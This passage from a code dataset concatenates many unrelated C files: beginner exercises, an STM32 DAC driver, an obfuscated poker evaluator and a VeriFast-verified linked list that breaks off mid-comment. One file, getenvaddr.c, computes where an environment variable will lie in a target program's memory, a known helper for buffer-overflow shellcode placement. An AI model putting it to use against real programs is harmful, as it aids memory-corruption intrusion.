}
sleep(1);
printf("进程执行完成,即将退出\n");
return 0;
}
|
the_stack_data/247016963.c | #include <stdio.h>
int main()
{
printf("Hello, World\n");
return 0;
}
|
the_stack_data/942486.c | #include <stdio.h>
int main() {
char nome[30];
int n;
scanf("%d", &n);
for (int i = 0; i < n; i++) {
scanf("%s", nome);
printf("Boa noite, %s.\n", nome);
}
} |
the_stack_data/676462.c | #include <stdio.h>
#include <stdlib.h>
//Crie uma matriz 3x3, insira os elementos e exiba
int main(){
int matriz[3][3];
int i=0,j=0; // linha e coluna;
//entrada;
printf("-------------- Matriz 3x3 --------------\n\n");
printf("Digite os elemnetos para a matriz: \n");
for(i=0;i<3;i++){
for(j=0;j<3;j++){
scanf("%d", &matriz[i][j]);
}
}
//saída;
for(i=0;i<3;i++){
for(j=0;j<3;j++){
printf("Matriz: [%d][%d] = %d\n", i,j,matriz[i][j]); }
}
return 0; //the end;
}
|
the_stack_data/90016.c | #define L(n)for(i=0;i<n;i++)
#define U unsigned
#define K else if
#define c(a)for(X=a,i=C=0;X;X/=4)C|=(X&1)<<i++;
U g[5],h[5],C,i,X,r[3];U E(U h[]){
U e=0x55555540,k=h[3],a=*h+h[1]+h[2]+h[4]-(k&-16L),o=2*e&a,t=0,v;e&=a;
if(v=e&o/2){t=7;k^=v;while(i=k&k-1)k=i;}K(v=o&o-1){t=6;v/=2;k=o/2^v;}
K(e&&o){t=6;v=o/2;k=(i=e&e-1)?i:e;}else{L(4){X=1<<i;C=((h[X&7]-(k&X))/X&7)&7;
if(C>3){k=h[X&7];t=5;break;}}k&=-64;v=k|k>>26&16;L(4)v&=v*4;if(v){
t+=4;k=v&=~(v/4);}K(i=t)while(C-->4)v=k&=k-1;K(v=o/2)t=3;K(e){o=e&e-1;
v=(i=o&o-1)?o:e;t=1+(o>0);}k^=v;k&=k-1;k&=k-(i==0);}c(v)v=C/8;c(k)
return t<<28|v<<13|C/8;}
#define P(c)C=1<<2*(strchr(S,*c++)-S-1)|1<<strchr(S,*c++)-S;c++;
#define A(h,C)h[C&7]+=C;h[3]|=C;
char*S="CDHS23456789TJQKA",b[32],*c;
main(d){for(;c=gets(b);r[!d?2:d<0]++){L(2){P(c)A(g,C)}L(2){P(c)A(h,C)}
L(5){P(c)A(g,C)A(h,C)}d=E(g)-E(h);L(5)g[i]=h[i]=0;
}L(3)printf("%c:%d\n","12D"[i],r[i]);}
|
the_stack_data/206392250.c | #include <stdio.h>
#include <string.h>
#define N 5
void unshuffle(char s[]);
void simpleMerge(int n, int v1[], int v2[], int v3[]);
void matrixFill(int d, int m[d][d], int init[d]);
int main()
{
char RandomChar[] = "ababbababa";
int v1[N] = {1, 2, 3, 4, 5};
int v2[N] = {5, 4, 3, 2, 1};
int v3[2*N] = {0};
int initVet[N] = {1, 2, 3, 4, 5};
int vet[N][N] = {0};
printf("%s \n", RandomChar);
unshuffle (RandomChar);
simpleMerge (N, v1, v2, v3);
matrixFill (N, vet, initVet);
return 0;
}
void unshuffle(char s[])
{
int CountA = 0;
int SIZE = strlen(s);
for (int i = 0; i < SIZE; i++)
{
if (s[i] == 97)
{
CountA++;
}
}
for (int i = 0; i < SIZE; i++)
{
if (i < CountA)
s[i] = 'a';
else
s[i] = 'b';
}
printf("%s \n\n", s);
}
void simpleMerge(int n, int v1[], int v2[], int v3[])
{
for (int i = 0; i < 2*n; i++)
{
if (i % 2 == 0)
v3[i] = v1[i / 2];
else
v3[i] = v2[i / 2];
}
for (int i = 0; i < 2*n; i++)
{
printf("%d ", v3[i]);
}
printf("\n\n");
}
void matrixFill(int d, int m[d][d], int init[d])
{
for (int i = 0; i < d; i++)
{
for (int j = 0; j < d; j++)
{
if (i == 0)
m[i][j] = init[j];
else
m[i][j] = 1 + (m[i - 1][j]);
}
}
for (int i = 0; i < d; i++)
{
for (int j = 0; j < d; j++)
{
printf("%d ", m[i][j]);
}
printf("\n");
}
printf("\n");
}
|
the_stack_data/872171.c | /**
* @file getenvaddr.c
* @author Philip Wiese
* @date 29 Sep 2016
* @brief Programm zur exakten Bestimmung der Addresse einer Env Variable
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if (argc<3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr=getenv(argv[1]);
ptr += (strlen(argv[0])-strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
|
the_stack_data/175144191.c | /**
******************************************************************************
* @file stm32f4xx_ll_dac.c
* @author MCD Application Team
* @version V1.7.0
* @date 17-February-2017
* @brief DAC LL module driver
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2017 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f4xx_ll_dac.h"
#include "stm32f4xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F4xx_LL_Driver
* @{
*/
#if defined(DAC)
/** @addtogroup DAC_LL DAC
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup DAC_LL_Private_Macros
* @{
*/
#if defined(DAC_CHANNEL2_SUPPORT)
#define IS_LL_DAC_CHANNEL(__DACX__, __DAC_CHANNEL__) \
( \
((__DAC_CHANNEL__) == LL_DAC_CHANNEL_1) \
|| ((__DAC_CHANNEL__) == LL_DAC_CHANNEL_2) \
)
#else
#define IS_LL_DAC_CHANNEL(__DACX__, __DAC_CHANNEL__) \
( \
((__DAC_CHANNEL__) == LL_DAC_CHANNEL_1) \
)
#endif /* DAC_CHANNEL2_SUPPORT */
#define IS_LL_DAC_TRIGGER_SOURCE(__TRIGGER_SOURCE__) \
( ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_SOFTWARE) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM2_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM4_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM5_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM6_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM7_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM8_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_EXTI_LINE9) \
)
#define IS_LL_DAC_WAVE_AUTO_GENER_MODE(__WAVE_AUTO_GENERATION_MODE__) \
( ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NONE) \
|| ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NOISE) \
|| ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_TRIANGLE) \
)
#define IS_LL_DAC_WAVE_AUTO_GENER_CONFIG(__WAVE_AUTO_GENERATION_CONFIG__) \
( ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BIT0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS1_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS2_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS3_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS4_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS5_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS6_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS7_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS8_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS9_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS10_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS11_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_1) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_3) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_7) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_15) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_31) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_63) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_127) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_255) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_511) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_1023) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_2047) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_4095) \
)
#define IS_LL_DAC_OUTPUT_BUFFER(__OUTPUT_BUFFER__) \
( ((__OUTPUT_BUFFER__) == LL_DAC_OUTPUT_BUFFER_ENABLE) \
|| ((__OUTPUT_BUFFER__) == LL_DAC_OUTPUT_BUFFER_DISABLE) \
)
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup DAC_LL_Exported_Functions
* @{
*/
/** @addtogroup DAC_LL_EF_Init
* @{
*/
/**
* @brief De-initialize registers of the selected DAC instance
* to their default reset values.
* @param DACx DAC instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DAC registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_DAC_DeInit(DAC_TypeDef *DACx)
{
/* Check the parameters */
assert_param(IS_DAC_ALL_INSTANCE(DACx));
/* Force reset of DAC1 clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_DAC1);
/* Release reset of DAC1 clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_DAC1);
return SUCCESS;
}
/**
* @brief Initialize some features of DAC instance.
* @note The setting of these parameters by function @ref LL_DAC_Init()
* is conditioned to DAC state:
* DAC instance must be disabled.
* @param DACx DAC instance
* @param DAC_Channel This parameter can be one of the following values:
* @arg @ref LL_DAC_CHANNEL_1
* @arg @ref LL_DAC_CHANNEL_2 (1)
*
* (1) On this STM32 serie, parameter not available on all devices.
* Refer to device datasheet for channels availability.
* @param DAC_InitStruct Pointer to a @ref LL_DAC_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DAC registers are initialized
* - ERROR: DAC registers are not initialized
*/
ErrorStatus LL_DAC_Init(DAC_TypeDef *DACx, uint32_t DAC_Channel, LL_DAC_InitTypeDef *DAC_InitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_DAC_ALL_INSTANCE(DACx));
assert_param(IS_LL_DAC_CHANNEL(DACx, DAC_Channel));
assert_param(IS_LL_DAC_TRIGGER_SOURCE(DAC_InitStruct->TriggerSource));
assert_param(IS_LL_DAC_OUTPUT_BUFFER(DAC_InitStruct->OutputBuffer));
assert_param(IS_LL_DAC_WAVE_AUTO_GENER_MODE(DAC_InitStruct->WaveAutoGeneration));
if (DAC_InitStruct->WaveAutoGeneration != LL_DAC_WAVE_AUTO_GENERATION_NONE)
{
assert_param(IS_LL_DAC_WAVE_AUTO_GENER_CONFIG(DAC_InitStruct->WaveAutoGenerationConfig));
}
/* Note: Hardware constraint (refer to description of this function) */
/* DAC instance must be disabled. */
if(LL_DAC_IsEnabled(DACx, DAC_Channel) == 0U)
{
/* Configuration of DAC channel: */
/* - TriggerSource */
/* - WaveAutoGeneration */
/* - OutputBuffer */
if (DAC_InitStruct->WaveAutoGeneration != LL_DAC_WAVE_AUTO_GENERATION_NONE)
{
MODIFY_REG(DACx->CR,
( DAC_CR_TSEL1
| DAC_CR_WAVE1
| DAC_CR_MAMP1
| DAC_CR_BOFF1
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
,
( DAC_InitStruct->TriggerSource
| DAC_InitStruct->WaveAutoGeneration
| DAC_InitStruct->WaveAutoGenerationConfig
| DAC_InitStruct->OutputBuffer
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
);
}
else
{
MODIFY_REG(DACx->CR,
( DAC_CR_TSEL1
| DAC_CR_WAVE1
| DAC_CR_BOFF1
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
,
( DAC_InitStruct->TriggerSource
| LL_DAC_WAVE_AUTO_GENERATION_NONE
| DAC_InitStruct->OutputBuffer
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
);
}
}
else
{
/* Initialization error: DAC instance is not disabled. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_DAC_InitTypeDef field to default value.
* @param DAC_InitStruct pointer to a @ref LL_DAC_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_DAC_StructInit(LL_DAC_InitTypeDef *DAC_InitStruct)
{
/* Set DAC_InitStruct fields to default values */
DAC_InitStruct->TriggerSource = LL_DAC_TRIG_SOFTWARE;
DAC_InitStruct->WaveAutoGeneration = LL_DAC_WAVE_AUTO_GENERATION_NONE;
/* Note: Parameter discarded if wave auto generation is disabled, */
/* set anyway to its default value. */
DAC_InitStruct->WaveAutoGenerationConfig = LL_DAC_NOISE_LFSR_UNMASK_BIT0;
DAC_InitStruct->OutputBuffer = LL_DAC_OUTPUT_BUFFER_ENABLE;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* DAC */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/93888414.c | /**
* Copyright (c) 2013 Andreas Bosch [code AT progandy DOT de]
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
**/
#include <X11/XKBlib.h>
#include <X11/extensions/XKB.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
Display *dpy;
int res;
XkbStateRec state;
dpy = XOpenDisplay(NULL);
if (!dpy) {fputs("Can't open display\n", stderr); exit(1);}
res = XkbQueryExtension(dpy, NULL, NULL, NULL, NULL, NULL);
if (!res) {fputs("Can't init XKB\n", stderr); exit(1);}
XkbGetState(dpy, XkbUseCoreKbd, &state);
if ( ShiftMask & state.mods ) fputs("+Shift", stdout);
if ( LockMask & state.mods ) fputs("+Lock", stdout);
if ( ControlMask & state.mods ) fputs("+Control", stdout);
if ( Mod1Mask & state.mods ) fputs("+Mod1", stdout);
if ( Mod2Mask & state.mods ) fputs("+Mod2", stdout);
if ( Mod3Mask & state.mods ) fputs("+Mod3", stdout);
if ( Mod4Mask & state.mods ) fputs("+Mod4", stdout);
if ( Mod5Mask & state.mods ) fputs("+Mod5", stdout);
XCloseDisplay(dpy);
return 0;
}
|
the_stack_data/237644196.c | /* Calculates the number of digits in an integer */
#include <stdio.h>
int main(void)
{
int digits = 0, n;
printf("Enter a nonnegative integer: ");
scanf("%d", &n);
do {
n /= 10;
digits++;
} while (n > 0);
printf("The number has %d digit(s).\n", digits);
return 0;
} |
the_stack_data/141563.c | // hickmanjv - Josh Hickman
// CS1050 Lab 5 Section H
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void drinkMenu(void); // function prototype for displaying a drink menu
void displayMenu(void); // function prototype for displaying a menu
void displayReceipt(void); // function prototype for displaying a receipt
int errorCheck(int); // function prototype for error checking
float calculateTax(float); // function prototype for tax calculation
int calculateRandomDiscount(void); // function prototype for calculating random discount
int main(void)
{
int option = 0, error = -1, discount_num = -1, num = 0, winning_num = 0;
float subtotal = 0, tax = 0, total = 0, discount = 0;
srand(time(NULL)); // seeding the random number generator
drinkMenu();
scanf("%d", &option);
error = errorCheck(option);
while(0 == error)
{
printf("Not a valid option! Please enter again: ");
scanf("%d", &option);
error = errorCheck(option);
}
switch(option)
{
case 1:
subtotal += 0;
break;
case 2:
subtotal =+ 1.00;
break;
case 3:
subtotal += 1.50;
break;
case 4:
subtotal += 1.75;
break;
default:
printf("Something went horribly wrong");
break;
}
printf("\n\n");
displayMenu();
scanf("%d", &option);
error = errorCheck(option);
while(0 == error)
{
printf("Not a valid option! Please enter again: ");
scanf("%d", &option);
error = errorCheck(option);
}
switch(option)
{
case 1:
subtotal += 4.50;
break;
case 2:
subtotal += 3.00;
break;
case 3:
subtotal += 5.00;
break;
case 4:
subtotal += 7.20;
break;
default:
printf("Something went horribly wrong");
break;
}
printf("\n\nThank you for your order! It will be made shortly!\n\n");
printf("Subtotal: $%.2f\n", subtotal);
tax = calculateTax(subtotal);
printf("Taxes: $%.2f\n", tax);
discount_num = calculateRandomDiscount();
discount = subtotal * ((float) discount_num/100);
printf("You get a random discount of %d%% on this meal\n", discount_num );
total = ((subtotal + tax) - discount);
printf("Total: $%.2f\n", total);
displayReceipt();
printf("\n\n****** BONUS ******\n\n");
printf("Try to guess what number I am thinking of.\n");
winning_num = (1 + rand() % 25);
printf("Enter a number between 1 - 25: ");
scanf("%d", &num);
while(num < 1 || num > 25)
{
printf("Please try again: ");
scanf("%d", &num);
}
while(num != winning_num)
{
if(num < winning_num)
{
printf("Your number is too low. Enter again: ");
scanf("%d", &num);
}
else if(num > winning_num)
{
printf("Yourn number is too high. Enter again: ");
scanf("%d", &num);
}
else
{
}
}
printf("\n\nCongratulations!! You won the game!\n");
printf("Your number %d matched %d!\n\n", num, winning_num);
return(0);
}
void drinkMenu() // function to display the drink menu
{
printf("What would you like to drink?\n");
printf("1. Water: free\n");
printf("2. Coke: $1.00\n");
printf("3. Lemonade: $1.50\n");
printf("4. Chocolate Milk: $1.75\n");
printf("Enter an option: ");
}
void displayMenu() // function to display the food menu
{
printf("1. Cheeseburger: $4.50\n");
printf("2. Hotdog: $3.00\n");
printf("3. Chicken Strips: $5.00\n");
printf("4. Fries and Burger Combo: $7.20\n");
printf("Enter an option: ");
}
void displayReceipt()
{
int i;
printf("Your receipt number is: #");
for(i = 0; i < 8; i++)
printf("%d", rand() % 10);
printf("\n\n");
}
float calculateTax(float subT)
{
if(subT <= 4.00)
{
return .50 + (subT * .10);
}
else
{
return .50 + (subT * .25);
}
}
int errorCheck(int x)
{
if(x < 1 || x > 4)
{
return 0;
}
else return 1;
}
int calculateRandomDiscount(void)
{
return (1 + (rand() % 25));
}
|
the_stack_data/20918.c | #include <stdio.h>
#include <stdlib.h>
int spiral(int w, int h, int x, int y)
{
return y ? w + spiral(h - 1, w, y - 1, w - x - 1) : x;
}
int main(int argc, char **argv)
{
int w = atoi(argv[1]), h = atoi(argv[2]), i, j;
for (i = 0; i < h; i++) {
for (j = 0; j < w; j++)
printf("%4d", spiral(w, h, j, i));
putchar('\n');
}
return 0;
}
|
the_stack_data/22012392.c | #include "stdlib.h"
struct node {
struct node *next;
int value;
};
struct llist {
struct node *first;
struct node *last;
};
/*@
predicate node(struct node *node; struct node *next, int value) =
node->next |-> next &*& node->value |-> value &*& malloc_block_node(node);
@*/
/*@
predicate lseg(struct node *n1, struct node *n2; list<int> v) =
n1 == n2 ? emp &*& v == nil : node(n1, ?_n, ?h) &*& lseg(_n, n2, ?t) &*& v == cons(h, t);
predicate llist(struct llist *list; list<int> v) =
list->first |-> ?_f &*& list->last |-> ?_l &*& lseg(_f, _l, v) &*& node(_l, _, _) &*& malloc_block_llist(list);
@*/
struct llist *create_llist()
//@ requires emp;
//@ ensures llist(result, nil);
{
struct llist *l = malloc(sizeof(struct llist));
if (l == 0) abort();
struct node *n = malloc(sizeof(struct node));
if (n == 0) abort();
l->first = n;
l->last = n;
return l;
}
/*@
lemma void distinct_nodes(struct node *n1, struct node *n2)
requires node(n1, ?n1n, ?n1v) &*& node(n2, ?n2n, ?n2v);
ensures node(n1, n1n, n1v) &*& node(n2, n2n, n2v) &*& n1 != n2;
{
open node(n1, _, _);
open node(n2, _, _);
close node(n1, _, _);
close node(n2, _, _);
}
lemma_auto void lseg_add(struct node *n2)
requires lseg(?n1, n2, ?_v) &*& node(n2, ?n3, ?_x) &*& node(n3, ?n3next, ?n3value);
ensures lseg(n1, n3, append(_v, cons(_x, nil))) &*& node(n3, n3next, n3value);
{
distinct_nodes(n2, n3);
open lseg(n1, n2, _v);
if (n1 != n2) {
distinct_nodes(n1, n3);
lseg_add(n2);
}
}
@*/
void llist_add(struct llist *list, int x)
//@ requires llist(list, ?_v);
//@ ensures llist(list, append(_v, cons(x, nil)));
{
struct node *l = 0;
struct node *n = malloc(sizeof(struct node));
if (n == 0) {
abort();
}
l = list->last;
l->next = n;
l->value = x;
list->last = n;
//@ lseg_add(l);
}
/*@
lemma_auto void lseg_append(struct node *n1, struct node *n2, struct node *n3)
requires lseg(n1, n2, ?_v1) &*& lseg(n2, n3, ?_v2) &*& node(n3, ?n3n, ?n3v);
ensures lseg(n1, n3, append(_v1, _v2)) &*& node(n3, n3n, n3v);
{
open lseg(n1, n2, _v1);
switch (_v1) {
case nil:
case cons(x, v):
distinct_nodes(n1, n3);
lseg_append(n1->next, n2, n3);
}
}
@*/
void llist_append(struct llist *list1, struct llist *list2)
//@ requires llist(list1, ?_v1) &*& llist(list2, ?_v2);
//@ ensures llist(list1, append(_v1, _v2));
{
struct node *l1 = list1->last;
struct node *f2 = list2->first;
struct node *l2 = list2->last;
//@ open lseg(f2, l2, _v2); // Causes case split.
if (f2 == l2) {
free(l2);
free(list2);
} else {
//@ distinct_nodes(l1, l2);
l1->next = f2->next;
l1->value = f2->value;
list1->last = l2;
//@ lseg_append(list1->first, l1, l2);
free(f2);
free(list2);
}
}
void llist_dispose(struct llist *list)
//@ requires llist(list, _);
//@ ensures emp;
{
struct node *n = list->first;
struct node *l = list->last;
while (n != l)
//@ invariant lseg(n, l, ?vs);
//@ decreases length(vs);
{
struct node *next = n->next;
free(n);
n = next;
}
free(l);
free(list);
}
/*@
predicate lseg2(struct node *first, struct node *last, struct node *final, list<int> v;) =
switch (v) {
case nil: return first == last;
case cons(head, tail):
return first != final &*& node(first, ?next, head) &*& lseg2(next, last, final, tail);
};
lemma_auto void lseg2_add(struct node *first)
requires [?f]lseg2(first, ?last, ?final, ?v) &*& [f]node(last, ?next, ?value) &*& last != final;
ensures [f]lseg2(first, next, final, append(v, cons(value, nil)));
{
open lseg2(first, last, final, v);
switch (v) {
case nil:
close [f]lseg2(next, next, final, nil);
case cons(head, tail):
open node(first, ?firstNext, head); // To produce witness field.
lseg2_add(firstNext);
close [f]node(first, firstNext, head);
}
close [f]lseg2(first, next, final, append(v, cons(value, nil)));
}
lemma_auto void lseg2_to_lseg(struct node *first)
requires [?f]lseg2(first, ?last, ?final, ?v) &*& last == final;
ensures [f]lseg(first, last, v);
{
switch (v) {
case nil:
open lseg2(first, last, final, v);
case cons(head, tail):
open lseg2(first, last, final, v);
open node(first, ?next, head);
lseg2_to_lseg(next);
}
}
@*/
int llist_length(struct llist *list)
//@ requires [?frac]llist(list, ?_v);
//@ ensures [frac]llist(list, _v) &*& result == length(_v);
{
struct node *f = list->first;
struct node *n = f;
struct node *l = list->last;
int c = 0;
//@ close [frac]lseg2(f, f, l, nil);
while (n != l)
//@ invariant [frac]lseg2(f, n, l, ?_ls1) &*& [frac]lseg(n, l, ?_ls2) &*& _v == append(_ls1, _ls2) &*& c + length(_ls2) == length(_v);
//@ decreases length(_ls2);
{
//@ open lseg(n, l, _ls2);
//@ open node(n, _, _);
struct node *next = n->next;
//@ int value = n->value;
//@ lseg2_add(f);
n = next;
if (c == 2147483647) abort();
c = c + 1;
//@ assert [frac]lseg(next, l, ?ls3);
//@ append_assoc(_ls1, cons(value, nil), ls3);
}
//@ open lseg(n, l, _ls2);
return c;
}
int llist_lookup(struct llist *list, int index)
//@ requires llist(list, ?_v) &*& 0 <= index &*& index < length(_v);
//@ ensures llist(list, _v) &*& result == nth(index, _v);
{
struct node *f = list->first;
struct node *l = list->last;
struct node *n = f;
int i = 0;
while (i < index)
//@ invariant 0 <= i &*& i <= index &*& lseg(f, n, ?_ls1) &*& lseg(n, l, ?_ls2) &*& _v == append(_ls1, _ls2) &*& _ls2 == drop(i, _v) &*& i + length(_ls2) == length(_v);
//@ decreases index - i;
{
//@ open lseg(n, l, _);
//@ int value = n->value;
struct node *next = n->next;
//@ open lseg(next, l, ?ls3); // To produce a witness node for next.
//@ lseg_add(n);
//@ drop_n_plus_one(i, _v);
n = next;
i = i + 1;
//@ append_assoc(_ls1, cons(value, nil), ls3);
}
//@ open lseg(n, l, _);
int value = n->value;
//@ lseg_append(f, n, l);
//@ drop_n_plus_one(index, _v);
return value;
}
int llist_removeFirst(struct llist *l)
//@ requires llist(l, ?v) &*& v != nil;
//@ ensures llist(l, ?t) &*& v == cons(result, t);
{
struct node *nf = l->first;
//@ open lseg(nf, ?nl, v);
struct node *nfn = nf->next;
int nfv = nf->value;
free(nf);
l->first = nfn;
return nfv;
}
void main0()
//@ requires emp;
//@ ensures emp;
{
struct llist *l = create_llist();
llist_add(l, 10);
llist_add(l, 20);
llist_add(l, 30);
llist_add(l, 40);
int x1 = llist_removeFirst(l);
assert(x1 == 10);
int x2 = llist_removeFirst(l);
assert(x2 == 20);
llist_dispose(l);
}
int main() //@ : main
//@ requires emp;
//@ ensures emp;
{
struct llist *l1 = create_llist();
struct llist *l2 = create_llist();
llist_add(l1, 10);
llist_add(l1, 20);
llist_add(l1, 30);
llist_add(l2, 40);
llist_add(l2, 50);
llist_add(l2, 60);
int x = llist_removeFirst(l2); assert(x == 40);
llist_append(l1, l2);
int n = llist_length(l1); assert(n == 5);
int e0 = llist_lookup(l1, 0); assert(e0 == 10);
int e1 = llist_lookup(l1, 1); assert(e1 == 20);
int e2 = llist_lookup(l1, 2); assert(e2 == 30);
int e3 = llist_lookup(l1, 3); assert(e3 == 50);
int e4 = llist_lookup(l1, 4); assert(e4 == 60);
llist_dispose(l1);
return 0;
}
struct iter {
struct node *current;
};
/*@
predicate llist_with_node(struct llist *list, list<int> v0, struct node *n, list<int> vn) =
